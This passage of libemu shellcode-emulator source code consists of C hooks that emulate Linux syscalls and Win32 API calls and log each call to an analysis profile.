printf("sys_exit(2)\n"); struct emu_cpu *c = emu_cpu_get(env->emu); emu_profile_function_add(env->profile, "exit"); emu_profile_argument_add_int(env->profile, "int", "status", c->reg[ebx]); if (hook->hook.lin->userhook != NULL) { uint32_t r = hook->hook.lin->userhook(env, hook, c->reg[ebx]); emu_cpu_reg32_set(c, eax, r); }else emu_cpu_reg32_set(c, eax, 0); return 0; } int32_t env_linux_hook_fork(struct emu_env *env, struct emu_env_hook *hook) { printf("sys_fork(2)\n"); struct emu_cpu *c = emu_cpu_get(env->emu); emu_profile_function_add(env->profile, "fork"); emu_cpu_reg32_set(c, eax, 4711); return 0; } int32_t env_linux_hook_execve(struct emu_env *env, struct emu_env_hook *hook) { printf("execve\n"); struct emu_cpu *c = emu_cpu_get(env->emu); struct emu_string *name = emu_string_new(); emu_memory_read_string(emu_memory_get(c->emu), c->reg[ebx], name, 255); if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "execve"); emu_profile_argument_add_ptr(env->profile, "const char *", "dateiname", c->reg[ebx]); emu_profile_argument_add_string(env->profile, "", "", emu_string_char(name)); // emu_profile_argument_add_ptr(env->profile, "", "", c->reg[ecx]); emu_profile_argument_array_start(env->profile, "const char *", "argv[]"); } uint32_t p_array = c->reg[ecx]; uint32_t p_arg = -1; emu_memory_read_dword(emu_memory_get(c->emu), p_array, &p_arg); int i=1; // char **argv = NULL; while (p_arg != 0) { // argv = realloc(argv, (i+1) * sizeof(char *)); // argv[i] = NULL; struct emu_string *arg = emu_string_new(); emu_memory_read_string(emu_memory_get(c->emu), p_arg, arg, 128); // argv[i-1] = strdup(emu_string_char(arg)); if( emu_string_char(arg) == NULL ) { emu_string_free(arg); break; } if ( env->profile != NULL ) { emu_profile_argument_add_ptr(env->profile, "", "", p_array+((i-1)*4)); emu_profile_argument_add_ptr(env->profile, "", "", p_arg); emu_profile_argument_add_string(env->profile, "", "", emu_string_char(arg)); } emu_string_free(arg); emu_memory_read_dword(emu_memory_get(c->emu), p_array+(i*4), &p_arg); i++; } if ( env->profile != NULL ) { emu_profile_argument_add_ptr(env->profile, "", "", p_arg); emu_profile_argument_add_none(env->profile); // printf("arg is %s\n", emu_string_char(arg)); emu_profile_argument_array_end(env->profile); emu_profile_argument_add_ptr(env->profile, "const char *", "envp[]", c->reg[edx]); emu_profile_argument_add_none(env->profile); emu_profile_function_returnvalue_int_set(env->profile, "int", 0); } printf("int execve (const char *dateiname=%08x={%s}, const char * argv[], const char *envp[]);\n", c->reg[ebx], emu_string_char(name)); emu_string_free(name); return 0; } int32_t env_linux_hook_dup2(struct emu_env *env, struct emu_env_hook *hook) { struct emu_cpu *c = emu_cpu_get(env->emu); printf("int dup2(int oldfd=%i, int newfd=%i);\n", c->reg[ebx], c->reg[ecx]); if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "dup2"); emu_profile_argument_add_int(env->profile, "int", "oldfd", c->reg[ebx]); emu_profile_argument_add_int(env->profile, "int", "newfd", c->reg[ecx]); emu_profile_function_returnvalue_int_set(env->profile, "int", c->reg[ecx]); } emu_cpu_reg32_set(c, eax, c->reg[ecx]); return 0; } int32_t env_linux_hook_socketcall(struct emu_env *env, struct emu_env_hook *hook) { struct emu_cpu *c = emu_cpu_get(env->emu); #define AL(x) (x) static unsigned char nargs[18]={AL(0),AL(3),AL(3),AL(3),AL(2),AL(3), AL(3),AL(3),AL(4),AL(4),AL(4),AL(6), AL(6),AL(2),AL(5),AL(5),AL(3),AL(3)}; #undef AL uint32_t a[6]; int i; for ( i=0;ireg[ebx]];i++ ) { emu_memory_read_dword(emu_memory_get(c->emu),c->reg[ecx]+4*i,a+i); } uint32_t returnvalue = 0; switch ( c->reg[ebx] ) { case 1: // SYS_SOCKET printf("int socket(int domain=%i, int type=%i, int protocol=%i);\n", a[0], a[1], a[2]); if (hook->hook.lin->userhook != NULL) returnvalue = hook->hook.lin->userhook(env, hook, a[0], a[1], a[2]); else returnvalue = 14; if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "socket"); emu_profile_argument_add_int(env->profile, "int", "domain", a[0]); emu_profile_argument_add_int(env->profile, "int", "type", a[1]); emu_profile_argument_add_int(env->profile, "int", "protocol", a[2]); emu_profile_function_returnvalue_int_set(env->profile, "int", returnvalue); } emu_cpu_reg32_set(c, eax, returnvalue); break; case 2: // SYS_BIND { /* printf("int bind(int sockfd=%i, struct sockaddr *my_addr=%08x={host %s port %i}, int addrlen);\n", a[0], a[1], inet_ntoa(*(struct in_addr *)&((struct sockaddr_in *)&sa)->sin_addr), ntohs(((struct sockaddr_in *)&sa)->sin_port) ); */ struct sockaddr sa; memset(&sa, 0, sizeof(struct sockaddr)); emu_memory_read_block(emu_memory_get(c->emu), a[1], &sa, sizeof(struct sockaddr)); if (hook->hook.lin->userhook != NULL) returnvalue = hook->hook.lin->userhook(env, hook, a[0], &sa, a[2]); else returnvalue = 0; if (env->profile != NULL) { emu_profile_function_add(env->profile, "bind"); emu_profile_argument_add_int(env->profile, "int", "sockfd", a[0]); emu_profile_argument_add_sockaddr_ptr(env->profile, "my_addr", a[1], sa); emu_profile_argument_add_int(env->profile, "int", "addrlen", a[2]); emu_profile_function_returnvalue_int_set(env->profile, "int", returnvalue); } emu_cpu_reg32_set(c, eax, returnvalue); } break; case 3: // SYS_CONNECT { printf("connect\n"); struct sockaddr sa; memset(&sa, 0, sizeof(struct sockaddr)); emu_memory_read_block(emu_memory_get(c->emu), a[1], &sa, sizeof(struct sockaddr)); if (hook->hook.lin->userhook != NULL) returnvalue = hook->hook.lin->userhook(env, hook, a[0], &sa, a[2]); else returnvalue = 0; if (env->profile != NULL) { emu_profile_function_add(env->profile, "connect"); emu_profile_argument_add_int(env->profile, "int", "sockfd", a[0]); emu_profile_argument_add_sockaddr_ptr(env->profile, "serv_addr", a[1], sa); emu_profile_argument_add_int(env->profile, "int", "addrlen", a[2]); emu_profile_function_returnvalue_int_set(env->profile, "int", returnvalue); } emu_cpu_reg32_set(c, eax, returnvalue); } break; case 4: // SYS_LISTEN printf("int listen(int s=%i, int backlog=%i);\n", a[0], a[1]); if (hook->hook.lin->userhook != NULL) returnvalue = hook->hook.lin->userhook(env, hook, a[0], a[1]); else returnvalue = 0; if (env->profile != NULL) { emu_profile_function_add(env->profile, "listen"); emu_profile_argument_add_int(env->profile, "int", "s", a[0]); emu_profile_argument_add_int(env->profile, "int", "backlog", a[1]); emu_profile_function_returnvalue_int_set(env->profile, "int", returnvalue); } emu_cpu_reg32_set(c, eax, returnvalue); break; case 5: // SYS_ACCEPT printf("int accept(int s=%i, struct sockaddr *addr=%08x, int *addrlen=%08x);\n", a[0], a[1], a[2]); struct sockaddr sa; memset(&sa, 0, sizeof(struct sockaddr)); emu_memory_read_block(emu_memory_get(c->emu), a[1], &sa, sizeof(struct sockaddr)); if (hook->hook.lin->userhook != NULL) returnvalue = hook->hook.lin->userhook(env, hook, a[0], &sa, a[2]); else returnvalue = 19; if (env->profile != NULL) { emu_profile_function_add(env->profile, "accept"); emu_profile_argument_add_int(env->profile, "int", "sockfd", a[0]); emu_profile_argument_add_ptr(env->profile, "sockaddr_in *", "addr", a[1]); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_ptr(env->profile, "int", "addrlen", a[2]); emu_profile_argument_add_none(env->profile); emu_profile_function_returnvalue_int_set(env->profile, "int", returnvalue); } emu_cpu_reg32_set(c, eax, returnvalue); break; case 6: // SYS_GETSOCKNAME printf("sys_getsockname(2)\n"); break; case 7: // SYS_GETPEERNAME printf("sys_getpeername(2)\n"); break; case 8: // SYS_SOCKETPAIR printf("sys_socketpair(2)\n"); break; case 9: // SYS_SEND printf("sys_send(2)\n"); break; case 10: // SYS_RECV printf("sys_recv(2)\n"); break; case 11: // SYS_SENDTO printf("sys_sendto(2)\n"); break; case 12: // SYS_RECVFROM printf("sys_recvfrom(2)\n"); break; case 13: // SYS_SHUTDOWN printf("sys_shutdown(2)\n"); break; case 14: // SYS_SETSOCKOPT printf("sys_setsockopt(2)\n"); break; case 15: // SYS_GETSOCKOPT printf("sys_getsockopt(2)\n"); break; case 16: // SYS_SENDMSG printf("sys_sendmsg(2)\n"); break; case 17: // SYS_RECVMSG printf("sys_recvmsg(2)\n"); break; } return 0; } libemu-0.2.0+git20120122+564/src/environment/win32/0000755000175300017530000000000011706767213020140 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/src/environment/win32/env_w32_dll_export_shell32_hooks.c0000644000175300017530000001001311706767213026555 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include #include #include "../../../config.h" #include "emu/emu.h" #include "emu/emu_log.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_hashtable.h" #include "emu/emu_string.h" #include "emu/environment/emu_env.h" #include "emu/environment/emu_profile.h" #include "emu/environment/win32/emu_env_w32.h" #include "emu/environment/win32/emu_env_w32_dll.h" #include "emu/environment/win32/emu_env_w32_dll_export.h" #include "emu/environment/win32/env_w32_dll_export_urlmon_hooks.h" void GetSHFolderName(int clsid, char* buf255) { const char *FolderNames[0xff] = { [0x00] = "./DESKTOP", [0x01] = "./INTERNET", [0x02] = "./PROGRAMS", [0x03] = "./CONTROLS", [0x04] = "./PRINTERS", [0x05] = "./PERSONAL", [0x06] = "./FAVORITES", [0x07] = "./STARTUP", [0x08] = "./RECENT", [0x09] = "./SENDTO", [0x0A] = "./BITBUCKET", [0x0B] = "./STARTMENU", [0x10] = "./DESKTOPDIRECTORY", [0x11] = "./DRIVES", [0x12] = "./NETWORK", [0x13] = "./NETHOOD", [0x14] = "./FONTS", [0x15] = "./TEMPLATES", [0x16] = "./COMMON_STARTMENU", [0x17] = "./COMMON_PROGRAMS", [0x18] = "./COMMON_STARTUP", [0x19] = "./COMMON_DESKTOPDIRECTORY", [0x1a] = "./APPDATA", [0x1b] = "./PRINTHOOD", [0x1d] = "./ALTSTARTUP", [0x1e] = "./COMMON_ALTSTARTUP", [0x1f] = "./COMMON_FAVORITES", [0x20] = "./INTERNET_CACHE", [0x21] = "./COOKIES", [0x22] = "./HISTORY", }; if( clsid < 0x22 && FolderNames[clsid] != 0 ) strncpy(buf255, FolderNames[clsid], 254); else strncpy(buf255, "invalid id", 254); } int32_t env_hook_SHGetSpecialFolderPathA(struct emu_env *env, struct emu_env_hook *hook) { struct emu_cpu *c = emu_cpu_get(env->emu); struct emu_memory *mem = emu_memory_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* CopyBOOL SHGetSpecialFolderPath( HWND hwndOwner, __out LPTSTR lpszPath, __in int csidl, __in BOOL fCreate ); */ uint32_t hwnd; POP_DWORD(c, &hwnd); uint32_t buf; POP_DWORD(c, &buf); uint32_t csidl; POP_DWORD(c, &csidl); uint32_t fCreate; POP_DWORD(c, &fCreate); char buf255[255]; memset(buf255,0,254); GetSHFolderName(csidl, (char*)&buf255); emu_memory_write_block(mem,buf,buf255,strlen(buf255)); emu_cpu_reg32_set(c, eax, 0); if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "SHGetSpecialFolderPath"); emu_profile_argument_add_int(env->profile, "HWND", "hwndOwner", hwnd); emu_profile_argument_add_ptr(env->profile, "LPCSTR", "lpszPath", buf); emu_profile_argument_add_string(env->profile, "", "", buf255); emu_profile_argument_add_int(env->profile, "int", "csidl", csidl); emu_profile_argument_add_int(env->profile, "BOOL", "fCreate", fCreate); emu_profile_function_returnvalue_int_set(env->profile, "BOOL", c->reg[eax]); } emu_cpu_eip_set(c, eip_save); return 0; } libemu-0.2.0+git20120122+564/src/environment/win32/env_w32_dll_export_kernel32_hooks.c0000644000175300017530000014110511706767213026735 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include // for the socket hooks #include #include #include #include #include #include #include #include "../../../config.h" #include "emu/emu.h" #include "emu/emu_log.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_hashtable.h" #include "emu/emu_string.h" #include "emu/environment/emu_env.h" #include "emu/environment/emu_profile.h" #include "emu/environment/win32/emu_env_w32.h" #include "emu/environment/win32/emu_env_w32_dll.h" #include "emu/environment/win32/emu_env_w32_dll_export.h" #include "emu/environment/win32/env_w32_dll_export_kernel32_hooks.h" int32_t env_w32_hook_CloseHandle(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* BOOL CloseHandle( HANDLE hObject ); */ uint32_t object; POP_DWORD(c, &object); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, object); }else { returnvalue = 0; } if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "CloseHandle"); emu_profile_argument_add_int(env->profile, "HANDLE", "hObject", object); emu_profile_function_returnvalue_int_set(env->profile, "BOOL", returnvalue); } emu_cpu_reg32_set(c, eax, returnvalue); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_CreateFileA(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* HANDLE CreateFile( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); */ uint32_t p_filename; POP_DWORD(c, &p_filename); struct emu_string *filename = emu_string_new(); emu_memory_read_string(emu_memory_get(env->emu), p_filename, filename, 256); uint32_t desiredaccess; POP_DWORD(c, &desiredaccess); uint32_t sharemode; POP_DWORD(c, &sharemode); uint32_t securityattr; POP_DWORD(c, &securityattr); uint32_t createdisp; POP_DWORD(c, &createdisp); uint32_t flagsandattr; POP_DWORD(c, &flagsandattr); uint32_t templatefile; POP_DWORD(c, &templatefile); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, emu_string_char(filename), desiredaccess, sharemode, securityattr, createdisp, flagsandattr, templatefile); }else { returnvalue = 0x8383838; } if (env->profile != NULL) { emu_profile_function_add(env->profile, "CreateFile"); emu_profile_argument_add_ptr(env->profile, "LPCTSTR", "lpFileName", p_filename); emu_profile_argument_add_string(env->profile,"", "", emu_string_char(filename)); emu_profile_argument_add_int(env->profile, "DWORD", "dwDesiredAccess", desiredaccess); emu_profile_argument_add_int(env->profile, "DWORD", "dwShareMode", sharemode); emu_profile_argument_add_ptr(env->profile, "LPSECURITY_ATTRIBUTES", "lpSecurityAttributes", securityattr); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_int(env->profile, "DWORD", "dwCreationDisposition", createdisp); emu_profile_argument_add_int(env->profile, "DWORD", "dwFlagsAndAttributes", flagsandattr); emu_profile_argument_add_int(env->profile, "HANDLE", "hTemplateFile", templatefile); emu_profile_function_returnvalue_int_set(env->profile, "HANDLE", returnvalue); } emu_string_free(filename); emu_cpu_reg32_set(c, eax, returnvalue); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_CreateFileMapping(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /*HANDLE WINAPI CreateFileMapping( __in HANDLE hFile, __in_opt LPSECURITY_ATTRIBUTES lpAttributes, __in DWORD flProtect, __in DWORD dwMaximumSizeHigh, __in DWORD dwMaximumSizeLow, __in_opt LPCTSTR lpName ); */ uint32_t hFile; POP_DWORD(c, &hFile); uint32_t lpAttributes; POP_DWORD(c, &lpAttributes); uint32_t flProtect; POP_DWORD(c, &flProtect); uint32_t dwMaximumSizeHigh; POP_DWORD(c, &dwMaximumSizeHigh); uint32_t dwMaximumSizeLow; POP_DWORD(c, &dwMaximumSizeLow); uint32_t p_lpName; POP_DWORD(c, &p_lpName); struct emu_string *Name = emu_string_new(); emu_memory_read_string(emu_memory_get(env->emu), p_lpName, Name, 256); if (env->profile != NULL) { emu_profile_function_add(env->profile, "CreateFileMapping"); emu_profile_argument_add_int(env->profile, "HANDLE", "hFile", hFile); emu_profile_argument_add_ptr(env->profile, "LPSECURITY_ATTRIBUTES", "lpSecurityAttributes", lpAttributes); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_int(env->profile, "DWORD", "flProtect", flProtect); emu_profile_argument_add_int(env->profile, "DWORD", "dwMaximumSizeHigh", dwMaximumSizeHigh); emu_profile_argument_add_int(env->profile, "DWORD", "dwMaximumSizeLow", dwMaximumSizeLow); emu_profile_argument_add_ptr(env->profile, "LPCTSTR", "lpName", p_lpName); emu_profile_argument_add_string(env->profile,"", "", emu_string_char(Name)); emu_profile_function_returnvalue_int_set(env->profile, "HANDLE", 0x123456); } emu_string_free(Name); emu_cpu_reg32_set(c, eax, 0x123456); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_CreateProcessA(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); struct emu_memory *m = emu_memory_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /*BOOL CreateProcess( LPCWSTR pszImageName, LPCWSTR pszCmdLine, LPSECURITY_ATTRIBUTES psaProcess, LPSECURITY_ATTRIBUTES psaThread, BOOL fInheritHandles, DWORD fdwCreate, LPVOID pvEnvironment, LPWSTR pszCurDir, LPSTARTUPINFOW psiStartInfo, LPPROCESS_INFORMATION pProcInfo );*/ uint32_t p_imagename; POP_DWORD(c, &p_imagename); struct emu_string *imagename = emu_string_new(); emu_memory_read_string(m, p_imagename, imagename, 1024); uint32_t p_cmdline; POP_DWORD(c, &p_cmdline); struct emu_string *command = emu_string_new(); emu_memory_read_string(m, p_cmdline, command, 1024); // emu_string_free(command); uint32_t p_process; POP_DWORD(c, &p_process); uint32_t p_thread; POP_DWORD(c, &p_thread); uint32_t inherithandles; POP_DWORD(c, &inherithandles); uint32_t create; POP_DWORD(c, &create); uint32_t environment; POP_DWORD(c, &environment); uint32_t cwd; POP_DWORD(c, &cwd); uint32_t p_startinfo; POP_DWORD(c, &p_startinfo); STARTUPINFO *si = malloc(sizeof(STARTUPINFO)); memset(si, 0, sizeof(STARTUPINFO)); emu_memory_read_dword(m, p_startinfo + 14 * 4, (uint32_t *)&si->hStdInput); emu_memory_read_dword(m, p_startinfo + 15 * 4, (uint32_t *)&si->hStdOutput); emu_memory_read_dword(m, p_startinfo + 16 * 4, (uint32_t *)&si->hStdError); uint32_t p_procinfo; POP_DWORD(c, &p_procinfo); PROCESS_INFORMATION *pi = malloc(sizeof(PROCESS_INFORMATION)); memset(pi, 0, sizeof(PROCESS_INFORMATION)); pi->hProcess = 4713; pi->hThread = 4714; pi->dwProcessId = 4711; pi->dwThreadId = 4712; // emu_memory_write_block(m, p_procinfo, pi, sizeof(PROCESS_INFORMATION)); emu_memory_write_dword(m, p_procinfo+0*4, pi->hProcess); emu_memory_write_dword(m, p_procinfo+1*4, pi->hThread); emu_memory_write_dword(m, p_procinfo+2*4, pi->dwProcessId); emu_memory_write_dword(m, p_procinfo+3*4, pi->dwThreadId); uint32_t returnvalue; if ( hook->hook.win->userhook != NULL ) { returnvalue = hook->hook.win->userhook(env, hook, /* LPCWSTR pszImageName, */ NULL, /* LPCWSTR pszCmdLine, */ emu_string_char(command), /* LPSECURITY_ATTRIBUTES psaProcess, */ NULL, /* LPSECURITY_ATTRIBUTES psaThread, */ NULL, /* BOOL fInheritHandles, */ NULL, /* DWORD fdwCreate, */ NULL, /* LPVOID pvEnvironment, */ NULL, /* LPWSTR pszCurDir, */ NULL, /* LPSTARTUPINFOW psiStartInfo, */ si, /* LPPROCESS_INFORMATION pProcInfo */ pi); }else { pi->hProcess = 4712; returnvalue = -1; } // emu_memory_write_block(m, p_procinfo, pi, sizeof(PROCESS_INFORMATION)); emu_memory_write_dword(m, p_procinfo+0*4, pi->hProcess); emu_memory_write_dword(m, p_procinfo+1*4, pi->hThread); emu_memory_write_dword(m, p_procinfo+2*4, pi->dwProcessId); emu_memory_write_dword(m, p_procinfo+3*4, pi->dwThreadId); if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "CreateProcess"); emu_profile_argument_add_ptr(env->profile, "LPCWSTR", "pszImageName", p_imagename); emu_profile_argument_add_string(env->profile, "","", emu_string_char(imagename)); emu_profile_argument_add_ptr(env->profile, "LPCWSTR", "pszCmdLine", p_cmdline); emu_profile_argument_add_string(env->profile, "","", emu_string_char(command)); emu_profile_argument_add_ptr(env->profile, "LPSECURITY_ATTRIBUTES", "psaProcess", p_process); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_ptr(env->profile, "LPSECURITY_ATTRIBUTES", "psaThread", p_thread); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_int(env->profile, "BOOL", "fInheritHandles", inherithandles); emu_profile_argument_add_int(env->profile, "DWORD", "fdwCreate", create); emu_profile_argument_add_ptr(env->profile, "LPVOID", "pvEnvironment", environment); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_ptr(env->profile, "LPWSTR", "pszCurDir", cwd); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_ptr(env->profile, "LPSTARTUPINFOW", "psiStartInfo", p_startinfo); emu_profile_argument_struct_start(env->profile, "", ""); emu_profile_argument_add_int(env->profile, "DWORD", "cb" , si->cb); emu_profile_argument_add_int(env->profile, "LPTSTR", "lpReserved" , (uint32_t)(uintptr_t)si->lpReserved); emu_profile_argument_add_int(env->profile, "LPTSTR", "lpDesktop" , (uint32_t)(uintptr_t)si->lpDesktop); emu_profile_argument_add_int(env->profile, "LPTSTR", "lpTitle" , (uint32_t)(uintptr_t)si->lpTitle); emu_profile_argument_add_int(env->profile, "DWORD", "dwX" , si->dwX); emu_profile_argument_add_int(env->profile, "DWORD", "dwY" , si->dwY); emu_profile_argument_add_int(env->profile, "DWORD", "dwXSize" , si->dwXSize); emu_profile_argument_add_int(env->profile, "DWORD", "dwYSize" , si->dwYSize); emu_profile_argument_add_int(env->profile, "DWORD", "dwXCountChars" , si->dwXCountChars); emu_profile_argument_add_int(env->profile, "DWORD", "dwYCountChars" , si->dwYCountChars); emu_profile_argument_add_int(env->profile, "DWORD", "dwFillAttribute" , si->dwFillAttribute); emu_profile_argument_add_int(env->profile, "DWORD", "dwFlags" , si->dwFlags); emu_profile_argument_add_int(env->profile, "WORD", "wShowWindow" , si->wShowWindow); emu_profile_argument_add_int(env->profile, "WORD", "cbReserved2" , si->cbReserved2); emu_profile_argument_add_int(env->profile, "LPBYTE", "lpReserved2" , (uint32_t)(uintptr_t)si->lpReserved2); emu_profile_argument_add_int(env->profile, "HANDLE", "hStdInput" , si->hStdInput); emu_profile_argument_add_int(env->profile, "HANDLE", "hStdOutput" , si->hStdOutput); emu_profile_argument_add_int(env->profile, "HANDLE", "hStdError" , si->hStdError); emu_profile_argument_struct_end(env->profile); emu_profile_argument_add_ptr(env->profile, "PROCESS_INFORMATION", "pProcInfo",0x52f74c); emu_profile_argument_struct_start(env->profile, "", ""); emu_profile_argument_add_int(env->profile, "HANDLE", "hProcess" ,pi->dwProcessId); emu_profile_argument_add_int(env->profile, "HANDLE", "hThread" ,pi->dwThreadId); emu_profile_argument_add_int(env->profile, "DWORD", "dwProcessId" ,pi->hProcess); emu_profile_argument_add_int(env->profile, "DWORD", "dwThreadId" ,pi->hThread); emu_profile_argument_struct_end(env->profile); emu_profile_function_returnvalue_int_set(env->profile, "BOOL", returnvalue); } emu_cpu_reg32_set(c, eax, returnvalue); emu_string_free(imagename); emu_string_free(command); free(pi); free(si); emu_cpu_eip_set(c, eip_save); return 0; } int32_t env_w32_hook_CreateProcessInternalA(struct emu_env *env, struct emu_env_hook *hook) { struct emu_cpu *c = emu_cpu_get(env->emu); struct emu_memory *m = emu_memory_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* * DWORD WINAPI CreateProcessInternal( * __in DWORD unknown1, // always (?) NULL * __in_opt LPCTSTR lpApplicationName, * __inout_opt LPTSTR lpCommandLine, * __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes, * __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes, * __in BOOL bInheritHandles, * __in DWORD dwCreationFlags, * __in_opt LPVOID lpEnvironment, * __in_opt LPCTSTR lpCurrentDirectory, * __in LPSTARTUPINFO lpStartupInfo, * __out LPPROCESS_INFORMATION lpProcessInformation, * __in DWORD unknown2 // always (?) NULL * ; */ uint32_t unknown1; uint32_t lpApplicationName; uint32_t lpCommandLine; uint32_t lpProcessAttributes; uint32_t lpThreadAttributes; uint32_t bInheritHandles; uint32_t dwCreationFlags; uint32_t lpEnvironment; uint32_t lpCurrentDirectory; uint32_t lpStartupInfo; uint32_t lpProcessInformation; uint32_t unknown2; POP_DWORD(c, &unknown1); POP_DWORD(c, &lpApplicationName); POP_DWORD(c, &lpCommandLine); POP_DWORD(c, &lpProcessAttributes); POP_DWORD(c, &lpThreadAttributes); POP_DWORD(c, &bInheritHandles); POP_DWORD(c, &dwCreationFlags); POP_DWORD(c, &lpEnvironment); POP_DWORD(c, &lpCurrentDirectory); POP_DWORD(c, &lpStartupInfo); POP_DWORD(c, &lpProcessInformation); POP_DWORD(c, &unknown2); struct emu_string *CommandLine = emu_string_new(); if( lpCommandLine !=0 ) emu_memory_read_string(m, lpCommandLine, CommandLine, 255); uint32_t returnvalue = 0; if ( env->profile != NULL ) { emu_profile_function_add(env->profile, "CreateProcessInternal"); emu_profile_argument_add_int(env->profile, "DWORD", "unknown1", unknown1); emu_profile_argument_add_ptr(env->profile, "LPCTSTR", "lpApplicationName", lpApplicationName); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_ptr(env->profile, "LPTSTR", "lpCommandLine", lpCommandLine); if( lpCommandLine != 0 ) emu_profile_argument_add_string(env->profile, "","", emu_string_char(CommandLine)); else emu_profile_argument_add_none(env->profile); emu_profile_argument_add_ptr(env->profile, "LPSECURITY_ATTRIBUTES", "lpProcessAttributes", lpProcessAttributes); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_ptr(env->profile, "LPSECURITY_ATTRIBUTES", "lpThreadAttributes", lpThreadAttributes); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_int(env->profile, "BOOL", "bInheritHandles", bInheritHandles); emu_profile_argument_add_int(env->profile, "DWORD", "dwCreationFlags", dwCreationFlags); emu_profile_argument_add_ptr(env->profile, "LPVOID", "lpEnvironment", lpEnvironment); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_ptr(env->profile, "LPCTSTR", "lpCurrentDirectory", lpCurrentDirectory); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_ptr(env->profile, "LPSTARTUPINFO", "lpStartupInfo", lpStartupInfo); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_ptr(env->profile, "PROCESS_INFORMATION", "lpProcessInformation",0x52f74c); emu_profile_argument_add_none(env->profile); emu_profile_argument_add_int(env->profile, "DWORD", "unknown2", unknown2); emu_profile_function_returnvalue_int_set(env->profile, "DWORD WINAPI", returnvalue); } emu_string_free(CommandLine); emu_cpu_reg32_set(c, eax, returnvalue); emu_cpu_eip_set(c, eip_save); return 1; } int32_t env_w32_hook_DeleteFileA(struct emu_env *env, struct emu_env_hook *hook) { logDebug(env->emu, "Hook me Captain Cook!\n"); logDebug(env->emu, "%s:%i %s\n",__FILE__,__LINE__,__FUNCTION__); struct emu_cpu *c = emu_cpu_get(env->emu); uint32_t eip_save; POP_DWORD(c, &eip_save); /* BOOL DeleteFile( LPCTSTR lpFileName ); */ uint32_t filename; POP_DWORD(c, &filename); if (env->profile != NULL) { emu_profile_function_add(env->profile, "DeleteFile"); emu_profile_argument_add_ptr(env->profile, "LPCTSTR", "lpFileName", filename); emu_profile_argument_add_none(env->profile); } emu_cpu_eip_set(c, eip_save); return 0; 